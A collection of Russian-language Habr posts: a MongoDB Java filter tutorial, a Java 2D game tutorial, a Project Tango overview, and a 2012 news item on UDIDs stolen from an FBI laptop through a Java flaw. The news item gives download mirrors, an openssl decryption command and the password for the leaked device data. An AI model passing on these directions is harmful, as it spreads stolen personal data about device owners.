Bson filter = Filters.ne("userName", "Jack");
FindIterable documents = collection.find(filter);
MongoCursor cursor = documents.iterator();
while (cursor.hasNext()) {
System.out.println(cursor.next());
}
```
#### 4.2. Метод gt()
Метод `Filters.gt()` создает фильтр для получения документов, в которых значение полябольше заданного значения.
Рассмотрим следующий пример:
```
Bson filter = Filters.gt("age", 25);
FindIterable documents = collection.find(filter);
MongoCursor cursor = documents.iterator();
while (cursor.hasNext()) {
System.out.println(cursor.next());
}
```
В приведенном примере извлекаются документы, в которых возраст (age) превышает 25 лет.
Аналогично методу `Filters.gt()`, есть метод `Filters.lt()`, который соответствует документам, имеющим значение поля меньше указанного:
```
Bson filter = Filters.lt("age", 25);
FindIterable documents = collection.find(filter);
MongoCursor cursor = documents.iterator();
while (cursor.hasNext()) {
System.out.println(cursor.next());
}
```
Существуют еще методы `Filters.gte()` и `Filters.lte()`, которые соответствуют значениям "больше или равно" и "меньше или равно" соответственно.
#### 4.3. Метод in()
Метод `Filters.in()` создаёт фильтр для получения документов, в которых значение поляравно одному из значений в списке.
Давайте посмотрим на пример:
```
Bson filter = Filters.in("userName", "Jack", "Lisa");
FindIterable documents = collection.find(filter);
MongoCursor cursor = documents.iterator();
while (cursor.hasNext()) {
System.out.println(cursor.next());
}
```
Здесь мы получаем документы, в которых `userName` равно "Jack" или "Lisa".
Подобно методу `Filters.in()` есть метод `Filters.nin()`, который выбирает документы со значением поля не равным ни одному из значений списка:
```
Bson filter = Filters.nin("userName", "Jack", "Lisa");
FindIterable documents = collection.find(filter);
MongoCursor cursor = documents.iterator();
while (cursor.hasNext()) {
System.out.println(cursor.next());
}
```
#### 4.4. Метод and()
Метод `Filters.and()` создает фильтр, выполняющий логическую операцию "И" для переданного списка фильтров.
Давайте найдем пользователей с возрастом (age) больше 25 лет и ролью (role) "Admin":
```
Bson filter = Filters.and(Filters.gt("age", 25), Filters.eq("role", "Admin"));
FindIterable documents = collection.find(filter);
MongoCursor cursor = documents.iterator();
while (cursor.hasNext()) {
System.out.println(cursor.next());
}
```
#### 4.5. Метод or()
Как и следовало ожидать, метод `Filters.or()` выполняет логическую операцию "ИЛИ".
Давайте напишем пример, который возвращает пользователей с возрастом (age) больше 30 или ролью (role) "Admin":
```
Bson filter = Filters.or(Filters.gt("age", 30), Filters.eq("role", "Admin"));
FindIterable documents = collection.find(filter);
MongoCursor cursor = documents.iterator();
while (cursor.hasNext()) {
System.out.println(cursor.next());
}
```
#### 4.6. Метод exists()
Метод `Filters.exists()` ищет документы, в которых присутствует указанное поле.
```
Bson filter = Filters.exists("type");
FindIterable documents = collection.find(filter);
MongoCursor cursor = documents.iterator();
while (cursor.hasNext()) {
System.out.println(cursor.next());
}
```
Приведенный выше код возвращает документы коллекции `user`, в которых есть поле `type`.
#### 4.7. Метод regex()
Наконец, метод `Filters.regex()` проверяет поле документа на соответствиезаданному регулярному выражению.
```
Bson filter = Filters.regex("userName", "a");
FindIterable documents = collection.find(filter);
MongoCursor cursor = documents.iterator();
while (cursor.hasNext()) {
System.out.println(cursor.next());
}
```
Здесь мы извлекаем все документы, в которых `userName` соответствует регулярному выражению "a".
Мы рассмотрели некоторые из наиболее часто используемых операторов фильтрации. В качестве фильтра в методе `find()` можно использовать любую комбинацию [операторов фильтрации](https://www.mongodb.com/docs/manual/reference/operator/query/).
Более того, фильтры могут использоваться и в других местах, например, в пайплайне агрегации, в методах `deleteOne()` и `updateOne()` и др.
### 5. Заключение
В этой статье мы обсудили, как использовать билдер Filters для выполнения операций фильтрации коллекций MongoDB.
Полный код всех примеров доступен на [GitHub](https://github.com/eugenp/tutorials/tree/master/persistence-modules/java-mongodb-3).
---
На пути от монолита к микросервисам нас ожидают множество мелких неприятностей, которые могут стать серьезной проблемой по мере развития проекта. Скоро пройдет открытый урок, на котором мы рассмотрим, как легко и изящно можно их преодолеть с помощью инструментов от Spring Cloud. Регистрируйтесь [по ссылке.](https://otus.pw/JVmP/) | https://habr.com/ru/post/704488/ | null | ru | null |
# Пишем 2-d игру на Java #2
Доброго времени суток всем! Продолжение 1-ого урока ([ссылка на первый](https://habrahabr.ru/post/326032/)).
### Задачи
Сегодня мы должны создать игрока, и реализовать в нем метод движения
### Начало
Приступим. Для начала создадим новый класс Player.java.
Создадим несколько переменных, типа int. Первая это x, вторая это y, и третья speed. Пускай они будут приватными, во избежание дальнейших ошибок(установите сразу им значения, x=0, y=0, speed = любая скорость, я буду ставить 2). Также, создадим три метода — getSpeed(), getX() и getY(). Они выглядят так:
```
public int getX() {
return x;
}
public int getY() {
return y;
}
public int getSpeed() {
return speed;
}
```
Они будут возвращать нам текущие x и y координаты нашего игрока, а также скорость игрока.
Теперь, нам нужен метод, отвечающий за движение. Так его и назовем — move. Пока у нас нету слушателя клавиш, по этому, просто напишем:
```
public void move() {
x+= speed;
}
```
Возвращаемся в наш класс Main.java и в нем, создаем объект нашего игрока:
```
Player player = new Player();
```
Далее, в методе actionPerformed() пишем:
```
player.move();
```
Теперь, у нас при каждом обновлении таймера будет двигаться игрок. Но сейчас мы это движение не увидим, т.к. координаты игрока мы нигде не используем. Сейчас я коротко объясню как происходит движение на экране. Двигается не сама картинка нашего игрока, а задний план, который имитирует движение игрока. Так что, переходим в метод paint() и там, вместо координат отрисовки, вписываем player.getX() и player.getY(). Должно выйти так:
```
g.drawImage(img, player.getX(), player.getY(),frame.getWidth(), frame.getHeight(), null);
```
Запускаем, и видим что наш фон двигается.
Теперь я объясню, что мы не совсем корректно сделали.
Мы должны иметь две отдельные координаты — координата карты и координата игрока. Для чего это нужно? Сейчас мы слой отрисовываем относительно координаты игрока. В дальнейшем, у нас появятся объекты, находящиеся на карте, и проверять, взаимодействует ли с ними игрок будет проще, имея координаты карты. Надеюсь, объяснил понятно, а теперь мы это реализуем.
По-хорошему, мы должны иметь отдельный объект, Universe (Вселенная) в котором и будет содержаться информация о нашей карте(время суток, координаты и т.п.). В последующих уроках мы это сделаем, а пока, просто добавим в классе игрока две новые переменные: mapX и mapY, и сразу установим им значения, 0 и 0. И, как в случае с x и y, создадим 2 getter'a.
Теперь подкорректируем наш метод move().
Напишем вместо x+=speed это:
```
x-=speed;
mapX+=speed;
```
И вернемся к методу paint и поменяем
```
g.drawImage(img, player.getX(), player.getY(),frame.getWidth(), frame.getHeight(), null);
```
На:
```
g.drawImage(img, player.getMapX(), player.getMapY(),frame.getWidth(), frame.getHeight(), null);
```
Запускаем, и видим что ничего не поменялось. Это хороший знак, значит мы все правильно сделали.
Но мы видим, что картинка одна, и за ней остается след. И вот мы подошли к такой развилке. Мы можем создать игру, в которой мир будет постоянно расширяться, в зависимости оттого, в каком направлении идет игрок. Либо, сделать игру с определенного размера локацией, за пределы которой выйти нельзя, но локации смогут меняться. С какими проблемами я столкнулся, при создании этих двух вариантов. Если будем создавать игру без границ, то:
1. Надо будет осуществить генерацию этого мира, и если у нее нет пределов, то её надо делать случайной, т.е. будут баги прорисовки, с которыми мы будем сталкиваться постоянно.
Если будет создавать игру, основанную на смене локаций, то:
1. Либо она будет прямолинейной, с сюжетом, либо смена локаций будет случайна, но в таком случае возникает проблема номер 2.
2. Локаций должно быть много, чтобы человеку не надоело играть в эту игру.
Под этой статьей находится опрос. Не забудьте проголосовать.
Хорошо, пока обойдемся без дополнительных слоев, создадим слушателя нажатий на клавиши.
В конструкторе класса Main.java допишем такую строку:
```
frame.addKeyListener(new KeyAdapter() {
});
```
Некоторые могут спросить, почему мы используем метод «добавить слушателя», а добавляем адаптер? Просто адаптер позволяет не использовать все три метода класса слушателя, а допустим, как в нашем случае, мы реализуем в нем только два:
```
@Override
public void keyPressed(KeyEvent e) {
// TODO Auto-generated method stub
}
@Override
public void keyReleased(KeyEvent e) {
// TODO Auto-generated method stub
}
```
Первый метод отвечает за нажатие на клавишу, а второй за ее отпускание. Третий метод реагирует на короткое нажатие клавиши, а не задерживание её, как в первом методе. Теперь, чтобы у нас не получилась белеберда, и чтобы не усложнять себе жизнь, сделаем точно такие же два метода в классе игрока. И теперь в наших методах, находящихся в классе Main.java напишем:
В keyPressed:
```
player.keyPressed(e);
```
В keyReleased:
```
player.keyReleased(e);
```
Готово! Теперь у нас есть слушатель нажатий на клавиши. Давайте проверим его работоспособность, просто написав в каждом из методов в классе Player.java такую строку:
```
System.out.println(e.getKeyCode());
```
Запускаем программу, смотрим в нашу консоль, и нажимаем на клавиши.
Если при каждом нажатии на клавишу выписываются цифры в консоль, это означает что вы сделали все правильно. Не бойтесь, запоминать все эти клавиши не надо, за нас это уже сделал класс KeyEvent.
Теперь создадим энум, который будет отвечать за направление игрока. Для тех, кто не знает, энум, это такая переменная, которая может иметь несколько значений, которые мы заранее прописали. Создаем энум, под названием Direction. В него, через запятую, пишем такие значения: UP, DOWN, LEFT, RIGHT, NONE. Теперь, в классе Player создаем новую переменную типа Direction, которую назовем playerDirection (сразу поставьте значение Direction.NONE). Теперь, сделаем так, чтобы при нажатии соответствующих кнопок, направление игрока изменялось. Кстати, мы всегда будем работать с методами keyPressed и keyReleased из класса Player.java, в классе Main.java их не трогайте. Так вот, для начала, в методе keyPressed объявим переменную, типа int, которая равна e.getKeyCode(). Мы делаем это для удобства, чтобы в дальнейшем каждый раз не прописывать одно и то же. Так вот, дальше пишем:
```
if(key == KeyEvent.VK_W) {
playerDirection = Direction.UP;
}
if(key == KeyEvent.VK_S) {
playerDirection = Direction.DOWN;
}
if(key == KeyEvent.VK_A) {
playerDirection = Direction.LEFT;
}
if(key == KeyEvent.VK_D) {
playerDirection = Direction.RIGHT;
}
```
Это условия, как будет меняться наше направление игрока в зависимости от нажатых клавиш.
Далее, изменим метод move. Он должен будет выглядеть так:
```
switch(playerDirection) {
case UP:
mapY+=speed;
break;
case DOWN:
mapY-=speed;
break;
case LEFT:
mapX+=speed;
break;
case RIGHT:
mapX-=speed;
break;
default:
break;
}
```
Для тех, кто не знает, switch это тоже самое что и if, только в более удобной форме. Запускаем программу, и любуемся!
На сегодня все. Опять же, оставляю весь код, для тех, кто запутался.
### Player.java
```
import java.awt.event.KeyEvent;
public class Player {
private int x = 0;
private int y = 0;
private int speed = 2;
private int mapX = 0;
private int mapY = 0;
private Direction playerDirection = Direction.NONE;
public void move() {
switch(playerDirection) {
case UP:
mapY+=speed;
break;
case DOWN:
mapY-=speed;
break;
case LEFT:
mapX+=speed;
break;
case RIGHT:
mapX-=speed;
break;
default:
break;
}
}
public void keyPressed(KeyEvent e) {
int key = e.getKeyCode();
if(key == KeyEvent.VK_W) {
playerDirection = Direction.UP;
}
if(key == KeyEvent.VK_S) {
playerDirection = Direction.DOWN;
}
if(key == KeyEvent.VK_A) {
playerDirection = Direction.LEFT;
}
if(key == KeyEvent.VK_D) {
playerDirection = Direction.RIGHT;
}
}
public void keyReleased(KeyEvent e) {
System.out.println(e.getKeyCode());
}
public int getX() {
return x;
}
public int getY() {
return y;
}
public int getSpeed() {
return speed;
}
public int getMapX() {
return mapX;
}
public int getMapY() {
return mapY;
}
}
```
### Main.java
```
import java.awt.Graphics;
import java.awt.Image;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.KeyAdapter;
import java.awt.event.KeyEvent;
import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JPanel;
import javax.swing.Timer;
public class Main extends JPanel implements ActionListener {
Image img = new ImageIcon("2.png").getImage();
Timer timer = new Timer(20, this);
Player player = new Player();
JFrame frame;
public Main(JFrame frame) {
this.frame = frame;
timer.start();
frame.addKeyListener(new KeyAdapter() {
@Override
public void keyPressed(KeyEvent e) {
// TODO Auto-generated method stub
player.keyPressed(e);
}
@Override
public void keyReleased(KeyEvent e) {
// TODO Auto-generated method stub
player.keyReleased(e);
}
});
}
public void paint(Graphics g) {
g.drawImage(img, player.getMapX(), player.getMapY(),frame.getWidth(), frame.getHeight(), null);
}
@Override
public void actionPerformed(ActionEvent e) {
// TODO Auto-generated method stub
repaint();
player.move();
}
}
```
### Display.java
Никак не поменялся.
Спасибо за внимание! Не забудьте проголосовать. | https://habr.com/ru/post/326302/ | null | ru | null |
# Уязвимость в JAVA позволила выкрасть у ФБР данные о 12 миллионах владельцев устройств Apple
Во второй половине марта 2012 года уязвимость [AtomicReferenceArray](http://habrahabr.ru/company/eset/blog/141365/) позволила проникнуть на ноутбук специального агента ФБР Кристофера Стэнгла и похитить с его рабочего стола файл под названием NCFTA\_iOS\_devices\_intel.csv, который содержал список из 12 367 232 уникальных идентификаторов (UDID) устройств на iOS, имена владельцев, названия и тип устройств, токены APN и проч.
Группа Antisec [выложила](http://pastebin.com/nfVT7b0Z) в открытый доступ информацию об 1 000 001 устройств, убрав конфиденциальную информацию, и оставив только поля для идентификации устройств.
**Ссылки для скачивания**[freakshare.com/files/6gw0653b/Rxdzz.txt.html](http://freakshare.com/files/6gw0653b/Rxdzz.txt.html)
[u32.extabit.com/go/28du69vxbo4ix/?upld=1](http://u32.extabit.com/go/28du69vxbo4ix/?upld=1)
[d01.megashares.com/dl/22GofmH/Rxdzz.txt](http://d01.megashares.com/dl/22GofmH/Rxdzz.txt)
[minus.com/l3Q9eDctVSXW3](http://minus.com/l3Q9eDctVSXW3)
[minus.com/mFEx56uOa](https://minus.com/mFEx56uOa)
[uploadany.com/?d=50452CCA1](http://uploadany.com/?d=50452CCA1)
[www.ziddu.com/download/20266246/Rxdzz.txt.html](http://www.ziddu.com/download/20266246/Rxdzz.txt.html)
[www.sendmyway.com/2bmtivv6vhub/Rxdzz.txt.html](http://www.sendmyway.com/2bmtivv6vhub/Rxdzz.txt.html)
**Инструкция по извлечению**1. Проверьте MD5:
```
e7d0984f7bb632ee19d8dda1337e9fba
```
2. Дешифруйте файл с помощью openssl:
```
openssl aes-256-cbc -d -a -in file.txt -out decryptedfile.tar.gz
```
Пароль:
```
antis3cs5clockTea#579d8c28d34af73fea4354f5386a06a6
```
3. Затем распакуйте:
```
tar -xvzf decryptedfile.tar.gz
```
и проверьте целостность, используя вторую часть пароля выше в качестве MD5-суммы:
```
579d8c28d34af73fea4354f5386a06a6
```
Проверить, есть ли ваш ID в списке можно [здесь](http://kimosabe.net/test.html) (уверяют, что этот сайт используется исключительно для проверки, но не для сбора данных) и его автор выступает с инициативой найти того, кто слил информацию ФБР.
Недавно Apple начала блокировать приложения, пытающиеся получить доступ к UDID, одновременно с возросшим вниманием к безопасности со стороны правительства и обычных пользователей. | https://habr.com/ru/post/150845/ | null | ru | null |
# Победители Google Device Lab: исследуем Project Tango
Здравствуйте, коллеги! Наша небольшая компания [Vizerra](http://www.vizerra.ru/) разрабатывает заказные проекты и собственные продукты в области дополненной и виртуальной реальности (далее ARVR) для самых разных [заказчиков](http://www.vizerra.ru/projects/). Почти на каждом проекте нам требуется придумывать какое-то новое и неожиданное решение. ARVR рынок очень юн и многие решения создаются во время проектов. Таким образом происходит его развитие.
*Статья-победитель автора Александра Лаврова, в рамках конкурса [«Device Lab от Google»](http://special.habrahabr.ru/google/lab)*.
В связи с этим мы постоянно пробуем новое оборудование с прицелом на его использование в проектах. Сегодня мы хотим рассказать о таком уже знаменитом, но малоосвещенном в русскоязычном интернете устройстве как Project Tango. Совсем недавно он стал просто Tango ознаменовав переход в коммерческий этап своей жизни и начали появляться устройства для конечных пользователей.
Наше знакомство с Project Tango началось весной этого года, когда возникла идея попробовать безмаркерный трэкинг для ряда наших проектов.
Оказалось, что заполучить устройство для экспериментов очень непросто. Нам помог фонд Сколково познакомив с русским офисом Google. Ребята оказались очень отзывчивыми и выдали столь желаемое устройство на руки.
Мы смогли достаточно быстро достичь нужных нам результатов, показали наши тесты на [Startup Village](https://startupvillage.ru/en) и с чувством выполненного долга вернули устройство в Google.
Пару месяцев назад мы узнали, что стартовал [Google Device Lab](https://special.habrahabr.ru/google/lab/), и мы решили, что нужно отплатить добром за добро — поделиться нашим опытом с другими разработчиками и сели писать данную статью. В процессе написания статьи её концепция несколько раз менялась. Хотелось как обычно сделать что-то полезное, а не описать наш очередной проект. В итоге посовещавшись мы решили, что наиболее полезным будет написать русскоязычный полный обзор по Project Tango с учетом всех набитых нами шишек. Тогда мы начали объединять разрозненные источники, что бы у читателя создалась достаточно полная картина по прочтении данной статьи.
А чтобы нам было повеселее это делать мы использовали в качестве контента анимированные миниатюрные модели военной техники из одного из наших прошлых [проектов](http://bit.ly/2b4iWu7).
Аппаратная часть
----------------
Для начала давайте посмотрим что же представляет из себя само устройство.
На момент тестирования существовало 2 доступные модификации:
1. Планшет «Yellowstone». Обычно когда люди говорят про Tango, то подавляющее большинство представляет себе именно его.
2. Телефон «Peanut». Честно говоря не знаем никого из тех, кто реально его держал в руках.
[](http://www.talkandroid.com/200793-one-developer-shares-his-experience-with-his-project-tango-prototype/)
Нам достался для экспериментов 7 дюймовый планшет «Yellowstone», входящий в состав Project Tango Tablet Development Kit.
Сам базовый планшет в принципе удивления не вызывает. Устройство содержит 2.3 GHz quad-core Nvidia Tegra K1 processor, 128GB flash memory, 4 мегапиксельную камеру, сенсорный экран разрешением 1920x1200 и 4G LTE.
В качестве операционной системы используется Android 4.4 (KitKat). Мы уже порядком отвыкли от систем младше 5.0. Последний год минимальным требованием клиентов была поддержка устройств с Android 5.0.
Следует помнить, что устройство является частью Development Kit, а не устройством для конечного пользователя. Для прототипа оно выглядит отлично и даже удобно в использовании! Начинка устройства далеко не самая современная, но устройство отлично функционирует. Очевидно, что в серийных устройствах конечные производители, использующие платформу Tango, легко смогут использовать новейшее железо и ОС.
Значительно интереснее выглядит набор встроенных сенсоров. Похоже, что на данный момент это самый «прокаченный» планшет. Как именно они используются мы рассмотрим далее.
* [Fisheye](https://en.wikipedia.org/wiki/Fisheye_lens) камера для отслеживания движения
* 3D датчики глубины
* Акселерометр
* Датчик окружающего света
* Барометр
* Компас
* GPS
* Гироскоп
На схеме ниже вы можете рассмотреть расположение внешних датчиков на устройстве.
[](https://developers.google.com/tango/hardware/tablet)
Для любителей посмотреть «что там на самом деле у него внутри» прилагаем фотографию устройства в разобранном виде. Разбирали не сами. Спасибо, коллегам с портала slashgear.com за интересное фото.
Google предупреждает, что Tango и Android не являются аппаратными системами реального времени. Основной причиной является то, что Android Linux Kernel не может предоставить гарантий времени исполнения программы на устройстве. По этой причине Project Tango можно считать программной системой реального времени.
Прицип действия устройства
--------------------------
Чтобы было понятно о чем речь пойдет далее во время разработки давайте разберемся в принципе действия устройства.
Во-первых следует понимать, что Tango — это не просто экспериментальный планшет, который демонстрируется повсеместно, а новая масштабируемая платформа, которая использует компьютерное зрение, чтобы дать устройствам возможность понять их положение по отношению к окружающему их миру. То есть предполагается, что к привычным сенсорам в смартфоне или планшету будут добавлены сенсоры компьютерного зрения.
Устройство работает похоже на то, как мы используем наш человеческий зрительный аппарат, чтобы найти свой путь в комнату, а затем, чтобы знать, где мы находимся в комнате, где пол, стены и предметы вокруг нас. Эти понимание являются неотъемлемой частью того, как мы двигаемся через пространство в нашей повседневной жизни.
Tango дает мобильным устройствам возможность определения их положения в окружающем мире с использованием трех основных технологий: Motion Tracking (отслеживание движения), Area Learning (изучение областей пространства) и Depth Perception (восприятие глубины). Каждый из них по отдельности имеет свои уникальные возможности и ограничения. Все вместе же они позволяют достаточно точно позиционировать устройство в окружающем мире.
 **Motion Tracking**
Данная технология дает возможность устройству отслеживать свое собственное движение и ориентацию в 3D-пространстве. Мы можем походить с устройством как нам будет нужно и оно покажет нам, где оно находится и в каком направлении происходит движение.
Результатом работы данной технологии являются относительная позиция и ориентация устройства в пространстве.
Ключевым термином в технологии Motion Tracking является Pose (поза) — сочетание позиции и ориентации устройства. Термин звучит, честно говоря, довольно специфически и, вероятно, Google решил подчеркнуть им свое стремление к совершенствованию человеко-машинного интерфейса. Обычно под позой подразумевается положение, принимаемое человеческим телом, положение тела, головы и конечностей по отношению друг к другу.
Tango API предоставляет положение и ориентацию устройства пользователя с шестью степенями свободы. Данные состоят из двух основных частей: вектор в метрах для перемещения и кватернион для вращения. Позы указываются для конкретной пары точек траектории. При этом используется система отсчёта — совокупность тела отсчёта, связанной с ним системы координат и *системы отсчёта* времени, по отношению к которым рассматривается движение каких-либо тел.
 В контексте Tango это значит, что при запросе конкретной позы мы должны указать целевую точку, к которой совершаем движение по отношению к базовой точке движения.
Танго реализует Motion Tracking с помощью визуально-инерционной одометрии (visual-inertial odometry или VIO).
Одометрия — это метод оценки положения и ориентации робота или иного устройства с помощью анализа последовательности изображений, снятых установленной на нем камерой (или камерами). Стандартная визуальная одометрия использует изображения с камеры для определения изменения в положении устройства, с помощью поиска относительного положения различных визуальных признаков в этих изображениях. Например, если вы взяли фотографию здания издалека, а затем взяли другую фотографию с более близкого расстояния, можно вычислить расстояние, на которое камера перемещается на основе изменения масштаба и положения здания на фотографиях. Ниже вы можете увидеть изображения с примером такого поиска визуальных признаков.
Изображения являются собственностью [NASA](https://developers.google.com/tango/overview/motion-tracking).
Визуально-инерциальная одометрия дополняет визуальную одометрию инерциальными датчиками движения, способными отслеживать вращение устройства и его ускорение в пространстве. Это позволяет устройству рассчитать его ориентацию и движение в 3D-пространстве с еще большей точностью. В отличие от GPS, отслеживание движения с помощью VIO работает и в закрытом помещении. Что стало поводом для появления большого количества идей по созданию относительно недорогих indoor навигационных систем.
Визуально-инерциальная одометрия предоставляет улучшенное определение ориентации в пространстве по сравнению со стандартным [Android Game Rotation](http://developer.android.com/guide/topics/sensors/sensors_position.html#sensors-pos-gamerot) Vector APIs. Она использует визуальную информацию, которая помогает оценить вращение и линейное ускорение более точно. Таким образом мы наблюдаем удачное комбинирование известных ранее технологий для устранения их известных проблем.
Все вышеперечисленное нужно для того, чтобы при объединении вращения и отслеживания положения в пространстве, мы смогли использовать устройство в качестве виртуальной камеры в соответствующем 3D-пространстве вашего приложения.
[](https://developers.google.com/tango/overview/motion-tracking)
Motion tracking является базовой технологией. Она проста в использовании, но имеет ряд проблем:
* Технология не разбирается сама по себе, что именно находиться вокруг пользователя. В Tango за эту задачу отвечают другие технологии: Area Learning и Depth Perception.
* Motion Tracking не «помнит» предыдущие сессии. Каждый раз, когда вы начинаете новый сеанс отслеживания движения, отслеживание начинается снова и сообщает свою позицию по отношению к её стартовой позиции в текущей сессии.
* Так же, судя по экспериментам, тряска устройства приводит к потере трэкинга. Это очень явно проявлялось при его использовании в автомобиле.
* При перемещении устройства на большие расстояния и в длительные периоды времени происходит накопление мелких ошибок, что может привести в итоге к большим ошибкам в абсолютном положении в пространстве. Произойдет так называемый «drift» (дрейф). Это еще один термин заимствованный из реального мира. Обычно под этим требованием подразумевается отклонение движущегося судна от курса под влиянием ветра или течения, а также движение льдов, несомых течением. Для борьбы с дрейфом Tango использует Area Learning для коррекции данных ошибок. Этот аспект мы подробно рассмотрим в следующей части статьи.
![]()
src=«[habrastorage.org/files/72c/374/358/72c37435811a46ecbce09b4ce4952b6c.png](https://habrastorage.org/files/72c/374/358/72c37435811a46ecbce09b4ce4952b6c.png)» align=«right»/> **Area Learning**
Люди умеют распознавать, где они находятся, заметив известные им признаки вокруг себя: дверной проем, лестницу, стол и т.д. Танго предоставляет мобильному устройству ту же способность. С помощью одной лишь технологии motion tracking, устройство через камеру «видит» визуальные особенности района, но не «помнит» их. С помощью area learning, устройство не только «помнит», что оно «увидело», но может также сохранять и использовать эту информацию. Результатом работы данной технологии являются абсолютные позиция и ориентация устройства в уже известном ему пространстве.
Tango использует метод одновременной локализации и построения карты (SLAM от англ. Simultaneous Localization and Mapping) — метод, используемый в мобильных автономных средствах для построения карты в неизвестном пространстве или для обновления карты в заранее известном пространстве с одновременным контролем текущего местоположения и пройденного пути.
Опубликованные подходы уже используются в самостоятельном вождении автомобилей, беспилотных летательных аппаратов, автономных подводных аппаратов, планетоходов, домашних роботов и даже внутри человеческого тела.
В контексте Tango Area learning решает 2 ключевые задачи:
1. Повышение точности траектории полученной с использованием motion tracking. Данный процесс получил название «Коррекция дрейфа».
2. Ориентация и позиционирование самого устройства внутри ранее изученной области. Данный процесс назван «Локализация».
Давайте рассмотрим подробнее как именно решаются эти задачи.
*Коррекция дрейфа*
Как уже было сказано ранее, area learning запоминает визуальные признаки в областях реального мира, которые устройство «видело» и использует их, чтобы исправить ошибки в его позиции, ориентации и движении. Когда устройство видит место, которое оно видел ранее в вашей сессии, то оно понимает и корректирует свой путь, чтобы он соответствовал его предыдущим наблюдениям.
На приведенном ниже рисунке показан пример коррекции дрейфа.
[](https://developers.google.com/tango/overview/area-learning)
Как только мы начнем ходить через известную Tango область, то мы получаем на самом деле две различные траектории, происходящие одновременно:
* Путь по которому вы идете («Реальная траектория»)
* Путь вычисляемый устройством («Вычисляемая траектория»)
Зеленая линия является реальной траектории, по которому устройство движется в реальном пространстве; красная линия показывает, как с течением времени вычисляемая траектория отдалилась от реальной траектории. Когда устройство возвращается в начало координат и понимает, что оно уже видело данную область раньше, оно исправляет ошибки дрейфа и корректирует вычисляемую траекторию, чтобы лучше соответствовать реальной траектории.
Без коррекции дрейфа, игра или приложение с использованием виртуального 3D пространства в соответствии с реальным миром может столкнуться с неточностью в отслеживании движения после длительного использования. Например, если дверь в игровом мире соответствует дверной раме в реальном мире, то ошибки могут привести к тому, что в игре дверь появляться в стене, а не в реальной дверной коробке.
*Локализация*
После того, как мы прошли через нужную вам область с включенным area learning, мы можем сохранить в Area Description File (ADF) то, что устройство «увидело».
Изучение области и загрузка ее в качестве ADF имеет ряд преимуществ. Например, вы можете использовать его, чтобы выровнять систему координат устройства с ранее существовавшей системой координат, чтобы в игре или приложении вы всегда появлялись в том же физическом месте. На изображении ниже показан цикл поиска известной устройству области.
[](https://developers.google.com/tango/ux/ux-best-practices#area_learning)
Существует два способа создания ADF. Проще всего использовать приложение [TangoExplorer](https://developers.google.com/tango/tools/explorer), а затем уже ваше приложение загружает полученный ADF.
[](https://developers.google.com/tango/tools/explorer)
Также мы можем использовать Tango API, для изучения пространства, сохранения и загрузки ADF в пределах нашего приложения.
Следует отметить ряд особенностей, о которых следует помнить при использовании area learning:
* Tango зависит от визуального разнообразия области, которую мы собираемся локализовать. Если мы находимся в здании с множеством одинаковых комнат или в совершенно пустой комнате с пустыми стенами, то устройству будет трудно локализовать себя.
* Среда может выглядеть совершенно иначе с разных точек зрения и позиций, а также может меняться с течением времени (мебель можно перемещать, освещение будет отличаться в зависимости от времени суток). Локализация имеет больше шансов на успех, если условия локализации аналогичны условиям, которые существовали, когда был создан ADF.
* Поскольку среда измениться, мы можем создать несколько ADF для одного физического местоположения в различных условиях. Это дает нашим пользователям возможность выбрать файл, который наиболее точно соответствует их текущим условиям. Можно также добавить несколько сессий в один ADF, чтобы захватить визуальные описания окружающей среды из каждого положения, угла и при каждом изменении освещения или изменения окружающей среды.
**Depth Perception**
С помощью данной технологии устройство может понять форму нашего окружения. Это позволяет создавать «дополненную реальность», где виртуальные объекты не только является частью нашей реальной среды, они могут также взаимодействовать с этой средой. Например, многие уже пророчат компьютерные игры в реальном пространстве.
[](http://venturebeat.com/2016/01/07/googles-project-tango-will-enable-cool-augmented-reality-games/)
Tango API обеспечивает получение данных о расстоянии до объектов, которые снимает камера, в виде облака точек. Этот формат дает (х, у, z) координаты максимальному количеству точек в сцене, которое можно вычислить.
[](https://developers.google.com/tango/overview/depth-perception)
Каждое измерение представляет собой значение с плавающей точкой записывающее позицию каждой точки в метрах в системе отсчета камеры сканирующей глубину сцены. Облако точек ассоциировано с цветовой информацией, получаемой с RGB камеры. Эта ассоциация дает нам возможность использовать Tango в качестве 3D сканера и открывает много интересных возможностей для разработчиков игр и творческих приложений. Степень точности сканирования конечно нельзя сравнивать со специальными 3D сканерами, дающими точность в доли миллиметра. По опыту [коллег](https://habrahabr.ru/company/intel/blog/269253/) максимальная точность Intel RealSense R200 (используется в Tango) составляет 2 миллиметра, но может быть значительно хуже, т.к. сильно зависит от расстояния до предмета, от условий съёмки, от отражающих свойств поверхности, от движения. Так же нужно понимать, что увеличение точности изображения глубины приводит к увеличению шумов в сигнале, это неизбежно.
Однако следует отметить, что для построения коллизий в игре, расстановки виртуальной мебели в реальной квартире, измерения расстояний текущей точности получаемого 3D облака точек вполне достаточно.
[](http://www.telegraph.co.uk/technology/google/11391989/What-is-Googles-Project-Tango.html)
Для реализации восприятия глубины, мы можем выбрать одну из распространенных технологий восприятия глубины. Напомним, что Tango — это платформа и включает в себя 3 технологии.
[](http://mesh.brown.edu/3dpgp-2009/homework/hw2/hw2.html)
Описание каждой из них — это тема для отдельной большой статьи. Давайте пройдемся по ним вкратце, чтобы было понимание их роли в Tango и общих принципов их функционирования.
*Structured Light*
Структурированный свет осуществляет проецирование известного паттерна (обычно решетки или горизонтальных полос) на реальные объекты. Таким образом, что деформация этого известного паттерна при наложении на поверхность позволяет системе компьютерного зрения получить информацию о глубине и поверхности объектов в сцене относительно устройства. Широко известный пример использования структурированного света — это 3D-сканеры.
Невидимый структурированный свет используется, когда видимый паттерн создает помеху для остальных методов компьютерного зрения используемых в системе. Это как раз случай Tango, в котором используется инфракрасный излучатель.
*Time of Flight*
Данная технология базируется на определении времени, которое требуется инфракрасному излучению, чтобы долететь от источника излучения до объекта и вернуться в камеру. Чем дальше дистанция до поверхности, тем большее время требуется.
[](http://www.baslerweb.com/en/products/cameras/3d-cameras/time-of-flight-camera)
*Stereo*
Мы не нашли точной информации как именно устроена данная технология в Tango. Видимо реализация достаточно стандартная и разработчики не стали заострять внимание на этом. В один момент времени производиться 2 снимка, так называемая стереопара. На их основе при помощи фотограмметрии определяется расстояние до поверхностей. Таким образом, например, производится спутниковая съемка высоты рельефа Земли.
[](http://www.geog.ucsb.edu/~jeff/115a/lectures/stereoscopy_and_height_measurement.html)
